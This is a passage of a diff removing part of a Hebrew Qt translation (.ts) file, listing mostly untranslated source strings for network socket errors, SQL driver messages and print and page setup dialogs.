- <location line="+3"/>
- <source>Protocol type not supported</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Invalid socket descriptor</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+6"/>
- <source>Network unreachable</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Permission denied</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Connection timed out</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Connection refused</source>
- <translation type="unfinished">החיבור נדחה</translation>
- </message>
- <message>
- <location line="+3"/>
- <source>The bound address is already in use</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>The address is not available</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>The address is protected</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+6"/>
- <source>Unable to send a message</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Unable to receive a message</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Unable to write</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Network error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Another socket is already listening on the same port</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="-66"/>
- <source>Unable to initialize non-blocking socket</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Unable to initialize broadcast socket</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Attempt to use IPv6 socket on a platform with no IPv6 support</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+21"/>
- <source>Host unreachable</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+24"/>
- <source>Datagram was too large to send</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+18"/>
- <source>Operation on non-socket</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+6"/>
- <source>Unknown error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="-3"/>
- <source>The proxy type is invalid for this operation</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QNetworkAccessCacheBackend</name>
- <message>
- <location filename="../src/network/access/qnetworkaccesscachebackend.cpp" line="+65"/>
- <source>Error opening %1</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QNetworkAccessFileBackend</name>
- <message>
- <location filename="../src/network/access/qnetworkaccessfilebackend.cpp" line="+99"/>
- <source>Request for opening non-local file %1</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+42"/>
- <source>Error opening %1: %2</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+56"/>
- <source>Write error writing to %1: %2</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+33"/>
- <source>Cannot open %1: Path is a directory</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+21"/>
- <source>Read error reading from %1: %2</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QNetworkAccessFtpBackend</name>
- <message>
- <location filename="../src/network/access/qnetworkaccessftpbackend.cpp" line="+165"/>
- <source>No suitable proxy found</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+14"/>
- <source>Cannot open %1: is a directory</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+130"/>
- <source>Logging in to %1 failed: authentication required</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+39"/>
- <source>Error while downloading %1: %2</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+2"/>
- <source>Error while uploading %1: %2</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QNetworkAccessHttpBackend</name>
- <message>
- <location filename="../src/network/access/qnetworkaccesshttpbackend.cpp" line="+597"/>
- <source>No suitable proxy found</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QNetworkReply</name>
- <message>
- <location line="+128"/>
- <source>Error downloading %1 - server replied: %2</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/network/access/qnetworkreplyimpl.cpp" line="+68"/>
- <source>Protocol &quot;%1&quot; is unknown</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QNetworkReplyImpl</name>
- <message>
- <location line="+432"/>
- <location line="+22"/>
- <source>Operation canceled</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QOCIDriver</name>
- <message>
- <location filename="../src/sql/drivers/oci/qsql_oci.cpp" line="+2069"/>
- <source>Unable to logon</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="-144"/>
- <source>Unable to initialize</source>
- <comment>QOCIDriver</comment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+215"/>
- <source>Unable to begin transaction</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+19"/>
- <source>Unable to commit transaction</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+19"/>
- <source>Unable to rollback transaction</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QOCIResult</name>
- <message>
- <location line="-963"/>
- <location line="+161"/>
- <location line="+15"/>
- <source>Unable to bind column for batch execute</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+15"/>
- <source>Unable to execute batch statement</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+302"/>
- <source>Unable to goto next</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+59"/>
- <source>Unable to alloc statement</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+15"/>
- <source>Unable to prepare statement</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+36"/>
- <source>Unable to bind value</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+19"/>
- <source>Unable to execute statement</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QODBCDriver</name>
- <message>
- <location filename="../src/sql/drivers/odbc/qsql_odbc.cpp" line="+1785"/>
- <source>Unable to connect</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+6"/>
- <source>Unable to connect - Driver doesn&apos;t support all needed functionality</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+242"/>
- <source>Unable to disable autocommit</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+17"/>
- <source>Unable to commit transaction</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+17"/>
- <source>Unable to rollback transaction</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+15"/>
- <source>Unable to enable autocommit</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QODBCResult</name>
- <message>
- <location line="-1218"/>
- <location line="+349"/>
- <source>QODBCResult::reset: Unable to set &apos;SQL_CURSOR_STATIC&apos; as statement attribute. Please check your ODBC driver configuration</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="-332"/>
- <location line="+626"/>
- <source>Unable to execute statement</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="-555"/>
- <source>Unable to fetch next</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+279"/>
- <source>Unable to prepare statement</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+268"/>
- <source>Unable to bind variable</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/sql/drivers/db2/qsql_db2.cpp" line="+194"/>
- <location filename="../src/sql/drivers/odbc/qsql_odbc.cpp" line="-475"/>
- <location line="+578"/>
- <source>Unable to fetch last</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/sql/drivers/odbc/qsql_odbc.cpp" line="-672"/>
- <source>Unable to fetch</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+44"/>
- <source>Unable to fetch first</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+19"/>
- <source>Unable to fetch previous</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QObject</name>
- <message>
- <location filename="../src/gui/util/qdesktopservices_mac.cpp" line="+165"/>
- <source>Home</source>
- <translation type="unfinished">Home</translation>
- </message>
- <message>
- <location filename="../src/network/access/qnetworkaccessdatabackend.cpp" line="+74"/>
- <source>Operation not supported on %1</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+53"/>
- <source>Invalid URI: %1</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/network/access/qnetworkaccessdebugpipebackend.cpp" line="+175"/>
- <source>Write error writing to %1: %2</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+57"/>
- <source>Read error reading from %1: %2</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+31"/>
- <source>Socket error on %1: %2</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+15"/>
- <source>Remote host closed the connection prematurely on %1</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+53"/>
- <source>Protocol error: packet of size 0 received</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/network/kernel/qhostinfo.cpp" line="+177"/>
- <location line="+57"/>
- <source>No host name given</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QPPDOptionsModel</name>
- <message>
- <location filename="../src/gui/dialogs/qprintdialog_unix.cpp" line="+1195"/>
- <source>Name</source>
- <translation type="unfinished">שם</translation>
- </message>
- <message>
- <location line="+2"/>
- <source>Value</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QPSQLDriver</name>
- <message>
- <location filename="../src/sql/drivers/psql/qsql_psql.cpp" line="+763"/>
- <source>Unable to connect</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+49"/>
- <source>Could not begin transaction</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+17"/>
- <source>Could not commit transaction</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+16"/>
- <source>Could not rollback transaction</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+358"/>
- <source>Unable to subscribe</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+32"/>
- <source>Unable to unsubscribe</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QPSQLResult</name>
- <message>
- <location line="-1058"/>
- <source>Unable to create query</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+374"/>
- <source>Unable to prepare statement</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QPageSetupWidget</name>
- <message>
- <location filename="../src/gui/dialogs/qpagesetupdialog_unix.cpp" line="+304"/>
- <source>Centimeters (cm)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+0"/>
- <source>Millimeters (mm)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+0"/>
- <source>Inches (in)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+0"/>
- <source>Points (pt)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/gui/dialogs/qpagesetupwidget.ui"/>
- <source>Form</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location/>
- <source>Paper</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location/>
- <source>Page size:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location/>
- <source>Width:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location/>
- <source>Height:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location/>
- <source>Paper source:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location/>
- <source>Orientation</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location/>
- <source>Portrait</source>
- <translation type="unfinished">לאורך</translation>
- </message>
- <message>
- <location/>
- <source>Landscape</source>
- <translation type="unfinished">לרוחב</translation>
- </message>
- <message>
- <location/>
- <source>Reverse landscape</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location/>
- <source>Reverse portrait</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location/>
- <source>Margins</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location/>
- <source>top margin</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location/>
- <source>left margin</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location/>
- <source>right margin</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location/>
- <source>bottom margin</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QPluginLoader</name>
- <message>
- <location filename="../src/corelib/plugin/qpluginloader.cpp" line="+24"/>
- <source>Unknown error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="-68"/>
- <source>The plugin was not loaded.</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QPrintDialog</name>
- <message>
- <location filename="../src/gui/painting/qprinterinfo_unix.cpp" line="+98"/>
- <source>locally connected</source>
- <translation>מחוברת מקומית</translation>
- </message>
- <message>
- <location line="+23"/>
- <location line="+225"/>
- <source>Aliases: %1</source>
- <translation>שמות נוספים: %1</translation>
- </message>
- <message>
- <location line="+223"/>
- <location line="+199"/>
- <source>unknown</source>
- <translation>לא ידוע</translation>
- </message>
- <message>
- <location filename="../src/gui/dialogs/qprintdialog_win.cpp" line="+268"/>
- <source>OK</source>
- <translation type="unfinished">אישור</translation>
- </message>
- <message>
- <source>Cancel</source>
- <translation type="obsolete">ביטול</translation>
- </message>
- <message>
- <source>Print in color if available</source>
- <translation type="obsolete">הדפס בצבע אם הדבר זמין</translation>
- </message>
- <message>
- <source>Printer</source>
- <translation type="obsolete">מדפסת</translation>
- </message>
- <message>
- <location filename="../src/gui/dialogs/qprintdialog_qws.cpp" line="+375"/>
- <source>Print all</source>
- <translation type="unfinished">הדפס הכל</translation>
- </message>
- <message>
- <location line="+2"/>
- <source>Print range</source>
- <translation type="unfinished">טווח הדפסה</translation>
- </message>
- <message>
- <source>Print last page first</source>
- <translation type="obsolete">הדפס את העמוד הראשון אחרון</translation>
- </message>
- <message>
- <source>Number of copies:</source>
- <translation type="obsolete">מספר עותקים:</translation>
- </message>
- <message>
- <source>Paper format</source>
- <translation type="obsolete">תבנית נייר</translation>
- </message>
- <message>
- <source>Portrait</source>
- <translation type="obsolete">לאורך</translation>
- </message>
- <message>
- <source>Landscape</source>
- <translation type="obsolete">לרוחב</translation>
- </message>
- <message>
- <location line="-48"/>
- <source>A0 (841 x 1189 mm)</source>
- <translation>A0 (841 x 1189 mm)</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>A1 (594 x 841 mm)</source>
- <translation>A1 (594 x 841 mm)</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>A2 (420 x 594 mm)</source>
- <translation>A2 (420 x 594 mm)</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>A3 (297 x 420 mm)</source>
- <translation>A3 (297 x 420 mm)</translation>
- </message>
- <message>
- <location line="+2"/>
- <source>A5 (148 x 210 mm)</source>
- <translation>A5 (148 x 210 mm)</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>A6 (105 x 148 mm)</source>
- <translation>A6 (105 x 148 mm)</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>A7 (74 x 105 mm)</source>
- <translation>A7 (74 x 105 mm)</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>A8 (52 x 74 mm)</source>
- <translation>A8 (52 x 74 mm)</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>A9 (37 x 52 mm)</source>
- <translation>A9 (37 x 52 mm)</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>B0 (1000 x 1414 mm)</source>
- <translation>B0 (1000 x 1414 mm)</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>B1 (707 x 1000 mm)</source>
- <translation>B1 (707 x 1000 mm)</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>B2 (500 x 707 mm)</source>
- <translation>B2 (500 x 707 mm)</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>B3 (353 x 500 mm)</source>
- <translation>B3 (353 x 500 mm)</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>B4 (250 x 353 mm)</source>
- <translation>B4 (250 x 353 mm)</translation>
- </message>
- <message>
- <location line="+2"/>
- <source>B6 (125 x 176 mm)</source>
- <translation>B6 (125 x 176 mm)</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>B7 (88 x 125 mm)</source>
- <translation>B7 (88 x 125 mm)</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>B8 (62 x 88 mm)</source>
- <translation>B8 (62 x 88 mm)</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>B9 (44 x 62 mm)</source>
- <translation>B9 (44 x 62 mm)</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>B10 (31 x 44 mm)</source>
- <translation>B10 (31 x 44 mm)</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>C5E (163 x 229 mm)</source>
- <translation>C5E (163 x 229 mm)</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>DLE (110 x 220 mm)</source>
- <translation>DLE (110 x 220 mm)</translation>
- </message>
- <message>
- <location line="+2"/>
- <source>Folio (210 x 330 mm)</source>
- <translation>Folio (210 x 330 mm)</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Ledger (432 x 279 mm)</source>
- <translation>Ledger (432 x 279 mm)</translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Tabloid (279 x 432 mm)</source>
- <translation>Tabloid (279 x 432 mm)</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>US Common #10 Envelope (105 x 241 mm)</source>
- <translation>US Common #10 Envelope (105 x 241 mm)</translation>
- </message>
- <message>
- <location line="-25"/>
- <source>A4 (210 x 297 mm, 8.26 x 11.7 inches)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+11"/>
- <source>B5 (176 x 250 mm, 6.93 x 9.84 inches)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+8"/>
- <source>Executive (7.5 x 10 inches, 191 x 254 mm)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Legal (8.5 x 14 inches, 216 x 356 mm)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Letter (8.5 x 11 inches, 216 x 279 mm)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/gui/dialogs/qabstractprintdialog.cpp" line="+110"/>
- <location line="+13"/>
- <location filename="../src/gui/dialogs/qprintdialog_win.cpp" line="-2"/>
- <source>Print</source>
- <translation type="unfinished">הדפס</translation>
- </message>
- <message>
- <source>File</source>
- <translation type="obsolete">קובץ</translation>
- </message>
- <message>
- <location filename="../src/gui/dialogs/qprintdialog_unix.cpp" line="-357"/>
- <source>Print To File ...</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Other</source>
- <translation type="obsolete">אחר</translation>
- </message>
- <message>
- <location line="+80"/>
- <source>File %1 is not writable.
-Please choose a different file name.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+4"/>
- <source>%1 already exists.
-Do you want to overwrite it?</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/gui/dialogs/qprintdialog_qws.cpp" line="-208"/>
- <source>File exists</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>&lt;qt&gt;Do you want to overwrite it?&lt;/qt&gt;</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+227"/>
- <source>Print selection</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/gui/dialogs/qprintdialog_unix.cpp" line="-8"/>
- <source>%1 is a directory.
-Please choose a different file name.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/gui/dialogs/qpagesetupdialog_unix.cpp" line="-232"/>
- <source>A0</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>A1</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>A2</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>A3</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>A4</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>A5</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>A6</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>A7</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>A8</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>A9</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>B0</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>B1</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>B2</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>B3</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>B4</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>B5</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>B6</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>B7</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>B8</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>B9</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>B10</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>C5E</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>DLE</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Executive</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Folio</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Ledger</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Legal</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Letter</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Tabloid</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>US Common #10 Envelope</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Custom</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/gui/dialogs/qprintdialog_unix.cpp" line="-522"/>
- <location line="+68"/>
- <source>&amp;Options &gt;&gt;</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="-63"/>
- <source>&amp;Print</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+67"/>
- <source>&amp;Options &lt;&lt;</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+253"/>
- <source>Print to File (PDF)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Print to File (Postscript)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+45"/>
- <source>Local file</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Write %1 file</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/gui/dialogs/qprintdialog_win.cpp" line="+1"/>
- <source>The &apos;From&apos; value cannot be greater than the &apos;To&apos; value.</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QPrintPreviewDialog</name>
- <message>
- <location filename="../src/gui/dialogs/qabstractpagesetupdialog.cpp" line="+68"/>
- <location line="+12"/>
- <source>Page Setup</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/gui/dialogs/qprintpreviewdialog.cpp" line="+252"/>
- <source>%1%</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+79"/>
- <source>Print Preview</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+29"/>
- <source>Next page</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Previous page</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>First page</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Last page</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+9"/>
- <source>Fit width</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Fit page</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+11"/>
- <source>Zoom in</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Zoom out</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+6"/>
- <source>Portrait</source>
- <translation type="unfinished">לאורך</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Landscape</source>
- <translation type="unfinished">לרוחב</translation>
- </message>
- <message>
- <location line="+10"/>
- <source>Show single page</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Show facing pages</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Show overview of all pages</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+15"/>
- <source>Print</source>
- <translation type="unfinished">הדפס</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Page setup</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Close</source>
- <translation type="unfinished">סגור</translation>
- </message>
- <message>
- <location line="+151"/>
- <source>Export to PDF</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Export to PostScript</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QPrintPropertiesDialog</name>
- <message>
- <source>Save</source>
- <translation type="obsolete">שמור</translation>
- </message>
- <message>
- <source>OK</source>
- <translation type="obsolete">אישור</translation>
- </message>
-</context>
-<context>
- <name>QPrintPropertiesWidget</name>
- <message>
- <location filename="../src/gui/dialogs/qprintpropertieswidget.ui"/>
- <source>Form</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location/>
- <source>Page</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location/>
- <source>Advanced</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QPrintSettingsOutput</name>
- <message>
- <location filename="../src/gui/dialogs/qprintsettingsoutput.ui"/>
- <source>Form</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location/>
- <source>Copies</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location/>
- <source>Print range</source>
- <translation type="unfinished">טווח הדפסה</translation>
- </message>
- <message>
- <location/>
- <source>Print all</source>
- <translation type="unfinished">הדפס הכל</translation>
- </message>
- <message>
- <location/>
- <source>Pages from</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location/>
- <source>to</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location/>
- <source>Selection</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location/>
- <source>Output Settings</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location/>
- <source>Copies:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location/>
- <source>Collate</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location/>
- <source>Reverse</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location/>
- <source>Options</source>
- <translation type="unfinished">אפשרויות</translation>
- </message>
- <message>
- <location/>
- <source>Color Mode</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location/>
- <source>Color</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location/>
- <source>Grayscale</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location/>
- <source>Duplex Printing</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location/>
- <source>None</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location/>
- <source>Long side</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location/>
- <source>Short side</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QPrintWidget</name>
- <message>
- <location filename="../src/gui/dialogs/qprintwidget.ui"/>
- <source>Form</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location/>
- <source>Printer</source>
- <translation type="unfinished">מדפסת</translation>
- </message>
- <message>
- <location/>
- <source>&amp;Name:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location/>
- <source>P&amp;roperties</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location/>
- <source>Location:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location/>
- <source>Preview</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location/>
- <source>Type:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location/>
- <source>Output &amp;file:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location/>
- <source>...</source>
- <translation type="unfinished"></translation>
- </message>
